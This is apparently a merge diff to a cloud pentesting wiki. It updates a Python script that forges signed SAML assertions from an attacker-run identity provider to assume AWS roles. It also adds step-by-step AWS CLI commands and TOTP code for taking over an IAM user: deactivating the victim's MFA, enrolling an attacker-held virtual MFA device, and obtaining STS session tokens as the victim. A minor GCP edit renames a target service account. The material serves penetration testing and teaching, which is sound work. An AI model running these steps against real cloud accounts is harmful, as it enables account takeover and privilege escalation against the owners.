Merge pull request #261 from JaimePolop/master

Changes Update SAML

Author: carlospolop

src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-iam-privesc/README.md

@@ -368,6 +368,7 @@ def _run(cmd: list[str]) -> str:
 def _openssl_make_key_and_cert(tmpdir: str) -> tuple[str, str]:
     key_path = os.path.join(tmpdir, "key.pem")
     cert_path = os.path.join(tmpdir, "cert.pem")
+
     _run(
         [
             "openssl",
@@ -390,19 +391,18 @@ def _openssl_make_key_and_cert(tmpdir: str) -> tuple[str, str]:
 
 
 def _pem_cert_to_b64(cert_pem: str) -> str:
-    lines: list[str] = []
+    lines = []
     for line in cert_pem.splitlines():
         if "BEGIN CERTIFICATE" in line or "END CERTIFICATE" in line:
             continue
-        line = line.strip()
-        if line:
-            lines.append(line)
+        if line.strip():
+            lines.append(line.strip())
     return "".join(lines)
 
 
 def make_metadata_xml(cert_b64: str) -> str:
     return f"""<?xml version="1.0"?>
-<EntityDescriptor xmlns="urn:oasis:names:tc:SAML:2.0:metadata" entityID="https://attacker.invalid/idp">
+<EntityDescriptor xmlns="urn:oasis:names:tc:SAML:2.0:metadata" entityID="https://attacker-idp.invalid/idp">
   <IDPSSODescriptor protocolSupportEnumeration="urn:oasis:names:tc:SAML:2.0:protocol">
     <KeyDescriptor use="signing">
       <KeyInfo xmlns="http://www.w3.org/2000/09/xmldsig#">
@@ -411,7 +411,7 @@ def make_metadata_xml(cert_b64: str) -> str:
         </X509Data>
       </KeyInfo>
     </KeyDescriptor>
-    <SingleSignOnService Binding="urn:oasis:names:tc:SAML:2.0:bindings:HTTP-Redirect" Location="https://attacker.invalid/sso"/>
+    <SingleSignOnService Binding="urn:oasis:names:tc:SAML:2.0:bindings:HTTP-Redirect" Location="https://attacker-idp.invalid/sso"/>
   </IDPSSODescriptor>
 </EntityDescriptor>
 """
@@ -437,7 +437,7 @@ def make_signed_saml_response(role_arn: str, principal_arn: str, key_pem: str, c
     response.set("Destination", "https://signin.aws.amazon.com/saml")
 
     issuer = etree.SubElement(response, etree.QName(ns["saml2"], "Issuer"))
-    issuer.text = "https://attacker.invalid/idp"
+    issuer.text = "https://attacker-idp.attacker.invalid/idp"
 
     status = etree.SubElement(response, etree.QName(ns["saml2p"], "Status"))
     status_code = etree.SubElement(status, etree.QName(ns["saml2p"], "StatusCode"))
@@ -449,7 +449,7 @@ def make_signed_saml_response(role_arn: str, principal_arn: str, key_pem: str, c
     assertion.set("IssueInstant", issue_instant.isoformat())
 
     a_issuer = etree.SubElement(assertion, etree.QName(ns["saml2"], "Issuer"))
-    a_issuer.text = "https://attacker.invalid/idp"
+    a_issuer.text = "https://attacker-idp.attacker.invalid/idp"
 
     subject = etree.SubElement(assertion, etree.QName(ns["saml2"], "Subject"))
     name_id = etree.SubElement(subject, etree.QName(ns["saml2"], "NameID"))
@@ -470,20 +470,30 @@ def make_signed_saml_response(role_arn: str, principal_arn: str, key_pem: str, c
     audience = etree.SubElement(audience_restriction, etree.QName(ns["saml2"], "Audience"))
     audience.text = "https://signin.aws.amazon.com/saml"
 
-    attr_stmt = etree.SubElement(assertion, etree.QName(ns["saml2"], "AttributeStatement"))
+    authn_statement = etree.SubElement(assertion, etree.QName(ns["saml2"], "AuthnStatement"))
+    authn_statement.set("AuthnInstant", issue_instant.isoformat())
+    authn_statement.set("SessionIndex", str(uuid.uuid4()))
+
+    authn_context = etree.SubElement(authn_statement, etree.QName(ns["saml2"], "AuthnContext"))
+    authn_context_class_ref = etree.SubElement(authn_context, etree.QName(ns["saml2"], "AuthnContextClassRef"))
+    authn_context_class_ref.text = "urn:oasis:names:tc:SAML:2.0:ac:classes:PasswordProtectedTransport"
 
-    attr_role = etree.SubElement(attr_stmt, etree.QName(ns["saml2"], "Attribute"))
+    attribute_statement = etree.SubElement(assertion, etree.QName(ns["saml2"], "AttributeStatement"))
+
+    attr_role = etree.SubElement(attribute_statement, etree.QName(ns["saml2"], "Attribute"))
     attr_role.set("Name", "https://aws.amazon.com/SAML/Attributes/Role")
     attr_role_value = etree.SubElement(attr_role, etree.QName(ns["saml2"], "AttributeValue"))
     attr_role_value.text = f"{role_arn},{principal_arn}"
 
-    attr_session = etree.SubElement(attr_stmt, etree.QName(ns["saml2"], "Attribute"))
+    attr_session = etree.SubElement(attribute_statement, etree.QName(ns["saml2"], "Attribute"))
     attr_session.set("Name", "https://aws.amazon.com/SAML/Attributes/RoleSessionName")
     attr_session_value = etree.SubElement(attr_session, etree.QName(ns["saml2"], "AttributeValue"))
-    attr_session_value.text = "saml-session"
+    attr_session_value.text = "attacker-idp"
 
-    key_bytes = open(key_pem, "rb").read()
-    cert_bytes = open(cert_pem, "rb").read()
+    with open(key_pem, "rb") as f:
+        key_bytes = f.read()
+    with open(cert_pem, "rb") as f:
+        cert_bytes = f.read()
 
     signer = XMLSigner(
         method=methods.enveloped,
@@ -610,6 +620,82 @@ aws iam put-role-permissions-boundary \
   --permissions-boundary arn:aws:iam::111122223333:policy/BoundaryPolicy
 ```
 
+### `iam:CreateVirtualMFADevice`, `iam:EnableMFADevice`, CreateVirtualMFADevice & `sts:GetSessionToken`
+The attacker creates a virtual MFA device under their control and attaches it to the target IAM user, replacing or bypassing the victim’s original MFA. Using the seed of this attacker-controlled MFA, they generate valid one-time passwords and request an MFA-authenticated session token via STS. This allows the attacker to satisfy the MFA requirement and obtain temporary credentials as the victim, effectively completing the account takeover even though MFA is enforced.
+
+If the target user already has MFA, deactivate it (`iam:DeactivateMFADevice`):
+
+```bash
+aws iam deactivate-mfa-device \
+  --user-name TARGET_USER \
+  --serial-number arn:aws:iam::ACCOUNT_ID:mfa/EXISTING_DEVICE_NAME
+```
+
+Create a new virtual MFA device (writes the seed to a file)
+
+```bash
+aws iam create-virtual-mfa-device \
+  --virtual-mfa-device-name VIRTUAL_MFA_DEVICE_NAME \
+  --bootstrap-method Base32StringSeed \
+  --outfile /tmp/mfa-seed.txt
+```
+
+Generate two consecutive TOTP codes from the seed file:
+
+```python
+import base64, hmac, hashlib, struct, time
+
+seed = open("/tmp/mfa-seed.txt").read().strip()
+seed = seed + ("=" * ((8 - (len(seed) % 8)) % 8))
+key = base64.b32decode(seed, casefold=True)
+
+def totp(t):
+    counter = int(t / 30)
+    msg = struct.pack(">Q", counter)
+    h = hmac.new(key, msg, hashlib.sha1).digest()
+    o = h[-1] & 0x0F
+    code = (struct.unpack(">I", h[o:o+4])[0] & 0x7fffffff) % 1000000
+    return f"{code:06d}"
+
+now = int(time.time())
+print(totp(now))
+print(totp(now + 30))
+```
+
+Enable MFA device on the target user, replace MFA_SERIAL_ARN, CODE1, CODE2:
+
+```bash
+aws iam enable-mfa-device \
+  --user-name TARGET_USER \
+  --serial-number MFA_SERIAL_ARN \
+  --authentication-code1 CODE1 \
+  --authentication-code2 CODE2
+```
+
+Generate a current token code (for STS)
+```python
+import base64, hmac, hashlib, struct, time
+
+seed = open("/tmp/mfa-seed.txt").read().strip()
+seed = seed + ("=" * ((8 - (len(seed) % 8)) % 8))
+key = base64.b32decode(seed, casefold=True)
+
+counter = int(time.time() / 30)
+msg = struct.pack(">Q", counter)
+h = hmac.new(key, msg, hashlib.sha1).digest()
+o = h[-1] & 0x0F
+code = (struct.unpack(">I", h[o:o+4])[0] & 0x7fffffff) % 1000000
+print(f"{code:06d}")
+```
+
+Copy the printed value as TOKEN_CODE and request an MFA-backed session token (STS):
+
+```bash
+aws sts get-session-token \
+  --serial-number MFA_SERIAL_ARN \
+  --token-code TOKEN_CODE
+```
+
 ## References
 
 - [https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/](https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/)

src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-storage-privesc.md

@@ -99,7 +99,7 @@ gsutil hmac create <sa-email> # You might need to execute this inside a VM insta
 
 ## If you have TROUBLES creating the HMAC key this was you can also do it contacting the API directly:
 PROJECT_ID = '$PROJECT_ID'
-TARGET_SERVICE_ACCOUNT = f"exam-storage-sa-read-flag-3@{PROJECT_ID}.iam.gserviceaccount.com"
+TARGET_SERVICE_ACCOUNT = f"storage-sa@{PROJECT_ID}.iam.gserviceaccount.com"
 ACCESS_TOKEN = "$CLOUDSDK_AUTH_ACCESS_TOKEN"
 import requests
 import json